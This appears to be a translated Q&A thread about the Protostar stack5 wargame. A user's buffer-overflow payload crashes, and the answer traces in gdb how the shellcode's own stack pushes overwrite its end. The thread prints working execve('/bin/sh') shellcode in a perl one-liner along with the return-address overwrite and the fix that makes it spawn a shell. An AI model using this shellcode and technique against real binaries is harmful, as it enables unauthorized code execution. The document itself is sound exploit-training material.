2017-03-31 102 views
1

我想解決Protostar stack5。 這是一個solution。 它把shellcode後的返回地址,我試圖把它放在數組中。 我已經嘗試了shellcode,它的工作原理。Shellcode沒有正確執行

似乎一切正常,執行跳轉到shellcode,但在shellcode結束後出現分段錯誤,並且沒有生成shell。我不知道爲什麼,在gdb並非所有shellcode指令都正確顯示。 例如在0xbffff690應該是mov %esp,%ecx而不是cwtl。也許這是問題?這是爲什麼發生?

編輯:由於陣列地址在gdb以外啓動時會稍有不同,所以我們需要一個nop底座。所以我的方法可能無法工作,因爲數組大小對於這個太小。但是我仍然想知道爲什麼shellcode的末尾在gdb中被錯誤地解釋。

perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "A"x21 . "\x60\xf6\xff\xbf"' > /tmp/o2 


[email protected]:/opt/protostar/bin$ gdb -q stack5 
Reading symbols from /opt/protostar/bin/stack5...done. 
(gdb) disas main 
Dump of assembler code for function main: 
0x080483c4 <main+0>: push %ebp 
0x080483c5 <main+1>: mov %esp,%ebp 
0x080483c7 <main+3>: and $0xfffffff0,%esp 
0x080483ca <main+6>: sub $0x50,%esp 
0x080483cd <main+9>: lea 0x10(%esp),%eax 
0x080483d1 <main+13>: mov %eax,(%esp) 
0x080483d4 <main+16>: call 0x80482e8 <[email protected]> 
0x080483d9 <main+21>: leave 
0x080483da <main+22>: ret  
End of assembler dump. 
(gdb) b *0x080483da 
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11. 
(gdb) r < /tmp/o2 
Starting program: /opt/protostar/bin/stack5 < /tmp/o2 

Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x41414149 
) at stack5/stack5.c:11 
11 stack5/stack5.c: No such file or directory. 
    in stack5/stack5.c 
(gdb) b *0xbffff660 
Breakpoint 2 at 0xbffff660 
(gdb) c 
Continuing. 

Breakpoint 2, 0xbffff660 in ??() 
(gdb) display/i $pc 
1: x/i $pc 
0xbffff660: xor %eax,%eax 
(gdb) ni 
0xbffff662 in ??() 
1: x/i $pc 
0xbffff662: xor %ebx,%ebx 
(gdb) 
0xbffff664 in ??() 
1: x/i $pc 
0xbffff664: mov $0x6,%al 
(gdb) 
0xbffff666 in ??() 
1: x/i $pc 
0xbffff666: int $0x80 
(gdb) 
0xbffff668 in ??() 
1: x/i $pc 
0xbffff668: push %ebx 
(gdb) 
0xbffff669 in ??() 
1: x/i $pc 
0xbffff669: push $0x7974742f 
(gdb) 
0xbffff66e in ??() 
1: x/i $pc 
0xbffff66e: push $0x7665642f 
(gdb) 
0xbffff673 in ??() 
1: x/i $pc 
0xbffff673: mov %esp,%ebx 
(gdb) 
0xbffff675 in ??() 
1: x/i $pc 
0xbffff675: xor %ecx,%ecx 
(gdb) 
0xbffff677 in ??() 
1: x/i $pc 
0xbffff677: mov $0x2712,%cx 
(gdb) 
0xbffff67b in ??() 
1: x/i $pc 
0xbffff67b: mov $0x5,%al 
(gdb) 
0xbffff67d in ??() 
1: x/i $pc 
0xbffff67d: int $0x80 
(gdb) 
0xbffff67f in ??() 
1: x/i $pc 
0xbffff67f: xor %eax,%eax 
(gdb) 
0xbffff681 in ??() 
1: x/i $pc 
0xbffff681: push %eax 
(gdb) 
0xbffff682 in ??() 
1: x/i $pc 
0xbffff682: push $0x68732f2f 
(gdb) 
0xbffff687 in ??() 
1: x/i $pc 
0xbffff687: push $0x6e69622f 
(gdb) 
0xbffff68c in ??() 
1: x/i $pc 
0xbffff68c: mov %esp,%ebx 
(gdb) 
0xbffff68e in ??() 
1: x/i $pc 
0xbffff68e: push %eax 
(gdb) 
0xbffff68f in ??() 
1: x/i $pc 
0xbffff68f: push %ebx 
(gdb) 
0xbffff690 in ??() 
1: x/i $pc 
0xbffff690: cwtl 
(gdb) 
0xbffff691 in ??() 
1: x/i $pc 
0xbffff691: idiv %bh 
(gdb) 
0xbffff693 in ??() 
1: x/i $pc 
0xbffff693: mov $0x0,%edi 
(gdb) 
0xbffff698 in ??() 
1: x/i $pc 
0xbffff698: das  
(gdb) 
0xbffff699 in ??() 
1: x/i $pc 
0xbffff699: bound %ebp,0x6e(%ecx) 
(gdb) 

Program received signal SIGSEGV, Segmentation fault. 
0xbffff699 in ??() 
1: x/i $pc 
0xbffff699: bound %ebp,0x6e(%ecx) 

回答

2

有趣的問題。答案是:您的堆棧溢出中存在堆棧溢出。

在我的系統中,主要的拆卸是一個稍微不同的地址:

(gdb) disas 
Dump of assembler code for function main: 
    0x0804841d <+0>:  push %ebp 
    0x0804841e <+1>:  mov %esp,%ebp 
    0x08048420 <+3>:  and $0xfffffff0,%esp 
    0x08048423 <+6>:  sub $0x50,%esp 
    0x08048426 <+9>:  lea 0x10(%esp),%eax 
    0x0804842a <+13>: mov %eax,(%esp) 
    0x0804842d <+16>: call 0x80482f0 <[email protected]> 
    0x08048432 <+21>: leave 
    0x08048433 <+22>: ret 
End of assembler dump. 

堆棧地址也不同:當0x0804841d停止返回地址0xffffcedc,這意味着,到時候我達到gets$eax的值是0xffffce90,我需要相應地調整漏洞利用代碼。

然後我在*0x08048433設置斷點,一旦我達到它執行以下命令:

(gdb) display/23i 0xffffce90 
(gdb) stepi 

這是我後來看到:

0xffffce90 in ??() 
1: x/23i 0xffffce90 
=> 0xffffce90: xor %eax,%eax 
    0xffffce92: xor %ebx,%ebx 
    0xffffce94: mov $0x6,%al 
    0xffffce96: int $0x80 
    0xffffce98: push %ebx 
    0xffffce99: push $0x7974742f 
    0xffffce9e: push $0x7665642f 
    0xffffcea3: mov %esp,%ebx 
    0xffffcea5: xor %ecx,%ecx 
    0xffffcea7: mov $0x2712,%cx 
    0xffffceab: mov $0x5,%al 
    0xffffcead: int $0x80 
    0xffffceaf: xor %eax,%eax 
    0xffffceb1: push %eax 
    0xffffceb2: push $0x68732f2f 
    0xffffceb7: push $0x6e69622f 
    0xffffcebc: mov %esp,%ebx 
    0xffffcebe: push %eax 
    0xffffcebf: push %ebx 
    0xffffcec0: mov %esp,%ecx 
    0xffffcec2: cltd 
    0xffffcec3: mov $0xb,%al 
    0xffffcec5: int $0x80 
(gdb) # I press Enter here to repeat stepi 
0xffffce92 in ??() 
1: x/23i 0xffffce90 
    0xffffce90: xor %eax,%eax 
=> 0xffffce92: xor %ebx,%ebx 
    0xffffce94: mov $0x6,%al 
    0xffffce96: int $0x80 
    0xffffce98: push %ebx 
    0xffffce99: push $0x7974742f 
    0xffffce9e: push $0x7665642f 
    0xffffcea3: mov %esp,%ebx 
    0xffffcea5: xor %ecx,%ecx 
    0xffffcea7: mov $0x2712,%cx 
    0xffffceab: mov $0x5,%al 
    0xffffcead: int $0x80 
    0xffffceaf: xor %eax,%eax 
    0xffffceb1: push %eax 
    0xffffceb2: push $0x68732f2f 
    0xffffceb7: push $0x6e69622f 
    0xffffcebc: mov %esp,%ebx 
    0xffffcebe: push %eax 
    0xffffcebf: push %ebx 
    0xffffcec0: mov %esp,%ecx 
    0xffffcec2: cltd 
    0xffffcec3: mov $0xb,%al 
    0xffffcec5: int $0x80 
(gdb) 
0xffffce94 in ??() 
1: x/23i 0xffffce90 
    0xffffce90: xor %eax,%eax 
    0xffffce92: xor %ebx,%ebx 
=> 0xffffce94: mov $0x6,%al 
    0xffffce96: int $0x80 
    0xffffce98: push %ebx 
    0xffffce99: push $0x7974742f 
    0xffffce9e: push $0x7665642f 
    0xffffcea3: mov %esp,%ebx 
    0xffffcea5: xor %ecx,%ecx 
    0xffffcea7: mov $0x2712,%cx 
    0xffffceab: mov $0x5,%al 
    0xffffcead: int $0x80 
    0xffffceaf: xor %eax,%eax 
    0xffffceb1: push %eax 
    0xffffceb2: push $0x68732f2f 
    0xffffceb7: push $0x6e69622f 
    0xffffcebc: mov %esp,%ebx 
    0xffffcebe: push %eax 
    0xffffcebf: push %ebx 
    0xffffcec0: mov %esp,%ecx 
    0xffffcec2: cltd 
    0xffffcec3: mov $0xb,%al 
    0xffffcec5: int $0x80 
(gdb) 

到目前爲止,一切都很好地出發。但要注意,當我們在它到達0xffffcebestepi會發生什麼:

0xffffcebf in ??() 
1: x/23i 0xffffce90 
    0xffffce90: xor %eax,%eax 
    0xffffce92: xor %ebx,%ebx 
    0xffffce94: mov $0x6,%al 
    0xffffce96: int $0x80 
    0xffffce98: push %ebx 
    0xffffce99: push $0x7974742f 
    0xffffce9e: push $0x7665642f 
    0xffffcea3: mov %esp,%ebx 
    0xffffcea5: xor %ecx,%ecx 
    0xffffcea7: mov $0x2712,%cx 
    0xffffceab: mov $0x5,%al 
    0xffffcead: int $0x80 
    0xffffceaf: xor %eax,%eax 
    0xffffceb1: push %eax 
    0xffffceb2: push $0x68732f2f 
    0xffffceb7: push $0x6e69622f 
    0xffffcebc: mov %esp,%ebx 
    0xffffcebe: push %eax 
=> 0xffffcebf: push %ebx 
    0xffffcec0: mov %esp,%ecx 
    0xffffcec2: cltd 
    0xffffcec3: mov $0x0,%al 
    0xffffcec5: add %al,(%eax) 

剛剛執行push改寫曾經是在0xffffcec5用別的東西(即$eax內容)的int80。這是因爲我們正在執行堆棧上的指令,同時push將值寫入同一個堆棧!

另一個stepi,我看到:

(gdb) stepi 
0xffffcec0 in ??() 
1: x/23i 0xffffce90 
    0xffffce90: xor %eax,%eax 
    0xffffce92: xor %ebx,%ebx 
    0xffffce94: mov $0x6,%al 
    0xffffce96: int $0x80 
    0xffffce98: push %ebx 
    0xffffce99: push $0x7974742f 
    0xffffce9e: push $0x7665642f 
    0xffffcea3: mov %esp,%ebx 
    0xffffcea5: xor %ecx,%ecx 
    0xffffcea7: mov $0x2712,%cx 
    0xffffceab: mov $0x5,%al 
    0xffffcead: int $0x80 
    0xffffceaf: xor %eax,%eax 
    0xffffceb1: push %eax 
    0xffffceb2: push $0x68732f2f 
    0xffffceb7: push $0x6e69622f 
    0xffffcebc: mov %esp,%ebx 
    0xffffcebe: push %eax 
    0xffffcebf: push %ebx 
=> 0xffffcec0: enter $0xffce,$0xff 
    0xffffcec4: add %al,(%eax) 
    0xffffcec6: add %al,(%eax) 
    0xffffcec8: das 

而接下來stepi原因SIGSEGV

(gdb) stepi 
Program received signal SIGSEGV, Segmentation fault. 

那麼,有什麼解決辦法?

當我們在0xffffce90輸入代碼時,我們的堆棧指向0xffffcee0,即只有80個字節超過了shellcode。我們的shellcode長度是54個字節。因此,在我們開始破壞我們的shellcode之前,我們可以在堆棧上最多推送6個單詞。

當前shellcode推送8個單詞,第7次和第8次推送時自行破壞。 shellcode需要彈出某些單詞(例如在0xffffcead的第一個系統調用之後添加pop %eax),或者使用例如擴展堆棧來擴展堆棧。輸入時爲add $0x80,%esp,所以在shellcode結束和棧頂之間有足夠的空間。

我用了後者,和它的工作:

(gdb) c 
Continuing. 
process 21439 is executing new program: /bin/bash 
+0

偉大的答案。謝謝 – mik1904